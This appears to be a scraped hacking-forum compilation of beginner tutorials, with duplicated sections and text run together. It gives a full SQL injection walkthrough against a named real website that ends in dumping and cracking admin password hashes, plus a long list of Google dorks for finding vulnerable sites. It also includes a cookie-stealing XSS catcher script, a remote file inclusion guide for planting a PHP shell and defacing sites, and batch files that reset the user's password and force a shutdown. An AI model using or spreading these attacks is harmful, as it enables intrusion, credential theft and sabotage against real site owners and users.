SQL Noob guide
Introduction:
This is very simple, just use these dorks with a SQLi scanner, or Google them check every site by yourself.
Now to check manually a site if it is vulnerable, just add ' at the end of the url:
For example, we have our target,
Now, we want to check if this is SQLi vulnerable, so we add ' at the end:
If we got an error, that means that the site is vulnerable!
![[Image: 1301868109-1.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_suUqD9es11jIISsWIzdtl9PDf3rzKXKlth8hB84tJt5s30C4XQbbhor87R5FLl7OeUS_MOLlXuIpSyOt4NYMe09Arh2FhQ3p2u0E0vbCUCeZKa7w=s0-d)
So, now we move on to the next step.
How To Find Columns Count:
After you have your vulnerable site, you need to know his columns count, to do this, just add "order by X--" at the end of the URL,
X is a number from 1 to unlimited.
For example, we have our target server and we try to count columns,
we add order by 1-- at the end , then order by 2--,ect. Always increase number until u got an error in your website like thise one:
![[Image: 1301868114-2.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t_6_MzJ4eX9MEKlc4HZDu0sI7U_ESlIyfkVdPkUTKWtwlDRzV_6BsuiDgHK5qJCMu6H0KVXHSnJOUmwXi8Z1DwYZGf6mj5kzECOpbRr50bUYt3FPw=s0-d)
So, in our target server, we have tried this:
http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown column
That means that the 8th column does not exist, that means that column count is 7!
How to Find The Accessible Columns:
Now, we now that column count which is 7, next step is to check for acsessable columns, to do that, we use this querie "UNION SELECT number,of,columns--" like this:
You will get something like this:
![[Image: 1301868535-3.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vyWBtBBHS8XohbhBcDha_k94xXIsbtrZNtu-CF8xZPhgRH4yG6EHVtzV7A7DExUTKDdTrAJRB7Izy9iQgCvamKovPx9hjHk25gVSVebNo9zn6P8Q=s0-d)
That means that we can get information from the site from the 6th, the 2nd and the 3rd column!
How To Get MySQL DB Version:
We need to know MySQL DB Version to know if we can exploit this site or not, cause every site that is using MySQL 4.x.x you wont be able to work on it, but every 5.x.x or above is exploitable.
So to know MySQL DB Vesrion, just replace the number of the used column with "@@version"
For example:
![[Image: 1301869123-4.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v0CSWzvUCITMfs467tCGaut0Re00Uwkf4lf7MaVgGVQEre8rIc45Vhc9xDfoWm7BMnjYHkR01jzYxgCKBtIdULmgTW9xOKB3-zunc_j-kmF28AToM=s0-d)
That means that we can continue working on this site.
How To Find Database Name:
Now , we are going to inject the site to find the DB Name,
to do this, replace the used column number with "group_concat(schema_name)", and add "from information_schema.schemata--" after the last column number, for example:
![[Image: 1301869671-5.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vvXP1_CPr7-QVFXYLgjDSqtLSlRHfxtfOf9D5Wc7orK8tuthZw6dNUdmGHC_doCL5a8js5DCmN_m5JaA8jEdWA0SiOcATEhHwE3qmsnjJ2z8c35JQ=s0-d)
Now, to use the one the website uses, replace "group_concat(schema_name)" with "concat(database())" for example:
![[Image: 1301869885-6.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tvyJew2ggJneRk5dOQAGtBg3oCGvwF3azIPLP2cA1_KIqwacw-KwAnY6I5MWdhQDsZ1p4S79mQG2uL_wNGI3BW1cdXNzY6jUIglgeSzOrudyq-dS0=s0-d)
Congrats, you got the used DB!
How to Get The Table Names:
Now we need to get table names, to do this, replace the used column number with "group_concat(table_name)" and add "from information_schema.tables where table_schema=database()--" at the end of columns number.
![[Image: 1301870439-7.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t-uGu4J3n_V0nt3WTtZSg4CBso1iU9dPRN4j_GbzfsXb_R1Ep-eip7huZprvDr6a75twmwAErzexo4P89t9kUDX98F9ltuOv5EyK-9v13kxVfH7w=s0-d)
How To Get Column Names:
To get column names, we will use this querie:
group_concat(column_name)
from information_schema.columns where table_schema=database()--
Example:
![[Image: 1301870776-8.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vtniGKgvcXqhr1UTUa0l7gPIlu5tYGfQ6azUSc4aW-ELXrJRUsZAkSo0b9h470-sSMefIz18WN1dCl2f3MwL-9MH3ebUbUfHZkUbOP8WR_xRWkZpY=s0-d)
How To Get Informations From Columns:
Now, we are in our final step, now we will get the admin info from column, how to do it?
Simple, follow this example:
So our exploit will be like this:
![[Image: 1301871581-9.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tCrbnDCC-KLtByBEYGwRM4Yulom9tunvvWE9NwjY2E16gvbBGElDIP9LN1Ie99UmGfZRDgyBTIyT6riJplNLLr1pFMqZYTZ7v29pAVJBq0tnvZMFs=s0-d)
Now we need to decrypt the password that is crypted in md5,
go to http://www.md5decrypter.co.uk/ paste your hash, fill the captcha and click on decrypt, with a little luck, you will get the pass like here:
![[Image: 1301871757-10.JPG]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ueW73aIU76CN5BjLllhy6MXgRp5UpzQ2BJONx022FmzUmclx4YXddrVUjqNpJn-S0UDZETFbYFRJih2JxuXxu3acJVRCNu5kvjvS_2sFYfkC8U0MoO=s0-d)
Introduction:
This is very simple, just use these dorks with a SQLi scanner, or Google them check every site by yourself.
Code:
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
page.php?file=
newsDetail.php?id=
gallery.php?id=
article.php?id=
play_old.php?id=
show.php?id=
staff_id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
historialeer.php?num=
reagir.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
newsone.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
product-item.php?id=
sql.php?id=
news_view.php?id=
select_biblio.php?id=
humor.php?id=
aboutbook.php?id=
fiche_spectacle.php?id=
communique_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
pages.php?id=
announce.php?id=
clanek.php4?id=
participant.php?id=
download.php?id=
main.php?id=
review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
viewphoto.php?id=
article.php?id=
play_old.php?id=
declaration_more.php?decl_id=
category.php?id=
publications.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
Productinfo.php?id=
website.php?id=
Productinfo.php?id=
showimg.php?id=
view.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
detail.php?ID=
collectionitem.php?id=
band_info.php?id=
product.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
tradeCategory.php?id=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
newsid=
trainers.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
iniziativa.php?in=
detail_new.php?id=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
rubp.php?idr=
offer.php?idf=
hotel.php?id=
art.php?idm=
title.php?id=
look.php?ID=
story.php?id=
labels.php?id=
review.php?id=
chappies.php?id=
news-full.php?id=
news_display.php?getid=
index2.php?option=
ages.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: session_start()
"id=" & intext:"Warning: getimagesize()
"id=" & intext:"Warning: Unknown()
"id=" & intext:"Warning: pg_exec()
"id=" & intext:"Warning: array_merge()
"id=" & intext:"Warning: mysql_result()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: mysql_query()
"id=" & intext:"Warning: filesize()
"id=" & intext:"Warning: require()Now to check manually a site if it is vulnerable, just add ' at the end of the url:
For example, we have our target,
Code:
http://www.cocobod.gh/news_details.php?id=30Now, we want to check if this is SQLi vulnerable, so we add ' at the end:
Code:
http://www.cocobod.gh/news_details.php?id=30'If we got an error, that means that the site is vulnerable!
So, now we move on to the next step.
How To Find Columns Count:
After you have your vulnerable site, you need to know his columns count, to do this, just add "order by X--" at the end of the URL,
X is a number from 1 to unlimited.
For example, we have our target server and we try to count columns,
we add order by 1-- at the end , then order by 2--,ect. Always increase number until u got an error in your website like thise one:
So, in our target server, we have tried this:
Code:
http://www.cocobod.gh/news_details.php?id=30 order by 1-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 2-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 3-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 4-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 5-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 6-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 7-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown columnhttp://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown column
That means that the 8th column does not exist, that means that column count is 7!
How to Find The Accessible Columns:
Now, we now that column count which is 7, next step is to check for acsessable columns, to do that, we use this querie "UNION SELECT number,of,columns--" like this:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,6,7--You will get something like this:
That means that we can get information from the site from the 6th, the 2nd and the 3rd column!
How To Get MySQL DB Version:
We need to know MySQL DB Version to know if we can exploit this site or not, cause every site that is using MySQL 4.x.x you wont be able to work on it, but every 5.x.x or above is exploitable.
So to know MySQL DB Vesrion, just replace the number of the used column with "@@version"
For example:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,@@version,7--That means that we can continue working on this site.
How To Find Database Name:
Now , we are going to inject the site to find the DB Name,
to do this, replace the used column number with "group_concat(schema_name)", and add "from information_schema.schemata--" after the last column number, for example:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(schema_name),7 from information_schema.schemata--Now, to use the one the website uses, replace "group_concat(schema_name)" with "concat(database())" for example:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,concat(database()),7 from information_schema.schemata--Congrats, you got the used DB!
How to Get The Table Names:
Now we need to get table names, to do this, replace the used column number with "group_concat(table_name)" and add "from information_schema.tables where table_schema=database()--" at the end of columns number.
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database()--How To Get Column Names:
To get column names, we will use this querie:
group_concat(column_name)
from information_schema.columns where table_schema=database()--
Example:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_schema=database()--How To Get Informations From Columns:
Now, we are in our final step, now we will get the admin info from column, how to do it?
Simple, follow this example:
Code:
http://www.site.com/news_details.php?id=30 union select 1,2,3,4,5,group_concat(columusername,0x3a,columnpassword),7 from currentdb.tableused--So our exploit will be like this:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(username,0x3a,password),7 from cocobod_gh.coc_admin--Now we need to decrypt the password that is crypted in md5,
go to http://www.md5decrypter.co.uk/ paste your hash, fill the captcha and click on decrypt, with a little luck, you will get the pass like here:
What is CMD?
Its Called The Command Prompt (executable name cmd.exe) is the Microsoft-supplied command-line interpreter on OS/2, Windows CE and on Windows NT-based operating systems (including Windows 2000, XP, Vista, 7, Server 2003 and Server 2008). It is the analog of COMMAND.COM in MS-DOS and Windows 9x (where it is called MS-DOS Prompt) systems, or of the Unix shells used on Unix-like systems.
How To Access CMD?
There Are Two Ways:
*Create A Notepad In Desktop and Name It "anything.bat". Note, you can change the name to whatever you want but it has to have ".bat" at the end. Then Open the notepad and Type "Command.com". Then Click on "save as" Change the save as type to "all files" then type in ....anythinghere... then add .bat at the end.
*In The Start Menu, Click On "Run" and type in "CMD" If You dont have the "Run" icon on your start menu; Right click the start menu, then click "properties" then click on "customize". Scroll Down then Check "Run Command".
Commands:
a
ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
ATTRIB Change file attributes
b
BCDBOOT Create or repair a system partition
BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info
c
CACLS Change file permissions
CALL Call one batch program from another
CD Change Directory - move to a specific Folder
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
CMDKEY Manage stored usernames/passwords
COLOR Change colors of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
COPY Copy one or more files to another location
CSCcmd Client-side caching (Offline Files)
CSVDE Import or Export Active Directory data
d
DATE Display or set the date
DEFRAG Defragment hard drive
DEL Delete one or more files
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DISKPART Disk Administration
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSACLs Active Directory ACLs
DSAdd Add items to active directory (user group computer)
DSGet View items in active directory (user group computer)
DSQuery Search for items in active directory (user group computer)
DSMod Modify items in active directory (user group computer)
DSMove Move an Active directory Object
DSRM Remove items from Active Directory
e
ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EVENTCREATE Add a message to the Windows event log
EXIT Quit the current script/routine and set an errorlevel
EXPAND Uncompress files
EXTRACT Uncompress CAB files
f
FC Compare two files
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR /F Loop command: against a set of files
FOR /F Loop command: against the results of another command
FOR Loop command: all options Files, Directory, List
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations
g
GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line
GPUPDATE Update Group Policy settings
h
HELP Online Help
i
iCACLS Change file and folder permissions
IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP
k
KILL Remove a program from memory
l
LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer
LOGMAN Manage Performance Monitor
LOGOFF Log a user off
LOGTIME Log the date and time in a file
m
MAPISEND Send email from the command line
MBSAcli Baseline Security Analyzer.
MEM Display memory usage
MD Create new folders
MKLINK Create a symbolic link (linkd)
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MV Copy in-use files
n
NET Manage network resources
NETDOM Domain Manager
NETSH Configure Network Interfaces, Windows Firewall & Remote access
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights
o
OPENFILES Query or display open files
p
PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHD
PORTQRY Display the status of ports and services
POWERCFG Configure power settings
PRINT Print a text file
PRINTBRM Print queue Backup/Recovery
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHD Save and then change the current directory
q
QGREP Search file(s) for lines that match a given pattern.
r
RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Registry: Read, Set, Export, Delete keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files
REPLACE Replace or update one file with another
RD Delete folder(s)
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUN Start | RUN commands
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)
s
SC Service Control
SCHTASKS Schedule a command to run at a specific time
SCLIST Display NT Services
SET Display, set, or remove environment variables
SETLOCAL Control the visibility of environment variables
SETX Set environment variables permanently
SFC System File Checker
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SLMGR Software Licensing Management (Vista/2008)
SOON Schedule a command to run in the near future
SORT Sort input
START Start a program or command in a separate window
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration
t
TASKLIST List running applications and services
TASKKILL Remove a running process from memory
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TLIST Task list with full path
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file
TypePerf Write performance data to a log file
u
USRSTAT List domain usernames and last login
v
VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label
w
WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WINRM Windows Remote Management
WINRS Windows Remote Shell
WMIC WMI Commands
WUAUCLT Windows Update
x
XCACLS Change file and folder permissions
XCOPY Copy files and folders
:: Comment / Remark
Tricks
To change a user's password, open CMD, and log on as an administrator and type:
net user user_name * /domain
When you are prompted to type a password for the user, type the new password, not the existing password. After you type the new password, the system prompts you to retype the password to confirm.
Alternatively, you can type the following command:
net user user_name new_password
When you do so, the password changes without prompting you again. This command also enables you to change passwords in a batch file.
TO CHANGE CMD TEXT COLOR DO THIS:
TYPE IN CMD
COLOR G
YOU WILL GET MANY OPTION'S CHOSE ONE OF THEM AND TYPE
COLOR (ID)
NOW IN NOTEPAD
TO SHUTDOWN THE COMPUTER TYPE THIS ON NOTEPAD
SHUTDOWN -S -T (THE NUMBER OF SEC'S,MIN'S,HOUR'S,) AND HERE YOU TYPE WHAT YOU WANT TO SAY DURING THE COUNTING TO SHUT DOWN
Fun!
@echo off
title VIRUS FOUND - FATAL ERROR
color 0a
echo:Spyware/Malware/Trojans/Rootkit has been detected
pause
echo:You must Scan Your Computer. Press any key to continue.
pause
echo:Processing.....Error.....Tetry.... .
pause
shutdown -s -t 60 -c "Shutingdown in less then 60 seconds. Memory will be wiped. Contact Your Service Provider."
AND SAVE IT AS .BAT FILE
4dm1n1str4t0r!
Paste In Notepad:
net user
net user (username) * [note: just start typing the new password you want]
net user (username) /add
net user (username) /del
net localgroup (localgroup eg.administrators) (username) /add
Admin + Shutdown [Epic]
Paste In notepad:
@echo off
net user %USERNAME% "12345" > NUL
echo 01101101
pause
Echo °°°° °°°°° °°°°°
Echo °°°°°°° °² °°°° °°°°°°°
Echo °°°°°°°°² °²°°°°°°°°°°²° °°°°°°°°°°°°°°
Echo ² °°°°°°° °°°°°°°°°°°°°° °°°°° ³³°°°°°°°°°°°°°
Echo ³°°°°°°°°°°² ³°°°°°°°°°°°° ³°°°°°°°°°°°°°°°°°°
Echo ³°°°°° °°°°° ³°°°°°°°°°°°°° °°°°°°°°°³°°°°°°°°°
Echo °°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°
Echo ³°°°°°³°°°°°°° °°°°°° °°°°° °°°°°°°°°°°
Echo ° °° ³°°°° °°°°°² °°°° °°°°°°°°°°°
Echo ³ ²² ² °°°° °°°°°°°°°°²
pause > NUL
shutdown -s -t 60 -c "Shutting Down. Memory Will Be Wiped. All Hope Is Lost In 60 Seconds."
save it as pwn3en3wb.bat
Another CMD trick.
In Notepad put:
PHP Code:
@echo off
:loop
echo %random%%random%%random%%rando m%%random%%random%
goto loop
This will create and infinite numbers
Save your file as something.bat
Teh Cr4sh0o0o0rz!!!1one!!1
Open notepad and put in :
start
start
start
Save your file to lol.bat
This will pop up many pages and will CRASH your computer
Have fun! There are many other ways to have fun with CMD!
i found these 2 videos on youtube
it explains how to hack a website using XSS (Cross Site Scripting)
Part1: http://www.youtube.com/watch?v=WZCXIrW0xZ0
Part2: http://www.youtube.com/watch?v=JBpG2fie_aA
Catcher.php
it explains how to hack a website using XSS (Cross Site Scripting)
Part1: http://www.youtube.com/watch?v=WZCXIrW0xZ0
Part2: http://www.youtube.com/watch?v=JBpG2fie_aA
Catcher.php
Code:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: <ENTER WEBSITE HERE>");
?>
<HTML></HTML>Remote File Inclusion (RFI) - Website Hacking Method - Tutorial
Here the most serious website hacking method "Remote File Inclusion (RFI)". This exploits are very simple and are only found in about 1 in every 10 sites - they are still allot of fun to exploit. In this tutorial i will show
you how to take advantage of this coding error and possibly take control of the site.This hackthepc article is for Educational Purpose Only...so please Use this for knowledge Only !
This articles will be understandable mostly by web developers,or how know some web programming in html,php,asp etc...Lets start..
A Remote File Inclusion vulnerability is where we trick the web server in to putting our file (file uploader / php shell) in to the web page. It then parses our PHP script and we then have full control over the server. The exploit works because when a website calls another page to be displayed except, we edit the url so that the website thinks our shell is the page to display.
Normally, I'm against stuff like this. I believe people should find their own vulnerablesites. But, for the sake of this paper, i will show you how we can use google to get us vulnerable sites.
We will query google like so:
Code:
inurl:"index.php?page="
This query asks google to give us any page with index.php?page= in the url. If we look at it, we can see that 'page' is calling up whatever is after the equals sign. This is where the actual exploit lies. A good test to see if a website is actually vulnerable is to enter
http://www.google.com after the equal sign.
Code:
http://www.site.com/index.php?page=www.google.com
It is not nessesry that every site will work loke above statement....Only those will redirect to google,which having the security holes...
If the full google.com website appears on the page, the websiteis vulnerable. If not, keep looking. To exploit the vulnerability we must first look at the following example of a RFI:
this is an example only,There is no such sites or file....
Code:
http://www.shittysite.com/index.php?page...shell.txt?
A) Get a free host website (like dajoob or free webs)
B) Put a PHP shell (c99) in text form on the site
C) Insert the path to the shell in the vulnerable hosts url,
like the example above.
D) You can then proceed to deface the site etc.
Here the most serious website hacking method "Remote File Inclusion (RFI)". This exploits are very simple and are only found in about 1 in every 10 sites - they are still allot of fun to exploit. In this tutorial i will show
you how to take advantage of this coding error and possibly take control of the site.This hackthepc article is for Educational Purpose Only...so please Use this for knowledge Only !
This articles will be understandable mostly by web developers,or how know some web programming in html,php,asp etc...Lets start..
A Remote File Inclusion vulnerability is where we trick the web server in to putting our file (file uploader / php shell) in to the web page. It then parses our PHP script and we then have full control over the server. The exploit works because when a website calls another page to be displayed except, we edit the url so that the website thinks our shell is the page to display.
Normally, I'm against stuff like this. I believe people should find their own vulnerablesites. But, for the sake of this paper, i will show you how we can use google to get us vulnerable sites.
We will query google like so:
Code:
inurl:"index.php?page="
This query asks google to give us any page with index.php?page= in the url. If we look at it, we can see that 'page' is calling up whatever is after the equals sign. This is where the actual exploit lies. A good test to see if a website is actually vulnerable is to enter
http://www.google.com after the equal sign.
Code:
http://www.site.com/index.php?page=www.google.com
It is not nessesry that every site will work loke above statement....Only those will redirect to google,which having the security holes...
If the full google.com website appears on the page, the websiteis vulnerable. If not, keep looking. To exploit the vulnerability we must first look at the following example of a RFI:
this is an example only,There is no such sites or file....
Code:
http://www.shittysite.com/index.php?page...shell.txt?
A) Get a free host website (like dajoob or free webs)
B) Put a PHP shell (c99) in text form on the site
C) Insert the path to the shell in the vulnerable hosts url,
like the example above.
D) You can then proceed to deface the site etc.
SQL injection Tutorial
To find Vulnerable sites you are going to use Google Dorks.
Some common dorks are:
lets say you got this site:
if we add a ' before or after the numbers it should look something like this if its vulnerable:
![[Image: sqlitut1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tPfLlGyptHJUz48STTG8gcdW2KrGBPgN372fil5gPBYSHqVoLR07nkG-k2A--wRrFQVdt9uv1hTvR9pCTs6utQzgj-Fzt_mFsi2KVpHTvjzJP1GqFw420=s0-d)
To find the right amound of columns we are using "order by". here is how it works:
This means or site has 8 columns and we will now move over to "union select".
This is how it works:
Note the hyphen - before the numbers!
This should make the website to show some numbers on the screen like this:
![[Image: sqlitut2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skqrTO-xl0EK_ri5p0CSjwSQqwPT72MOHbwaR6iiInwIZ3FdtKxgRPPRf5AW-5QkIitTpXXzxDKz4b9MNpqzEZrb79ILtwPfokLlsGzHavUBf21TpXhXA=s0-d)
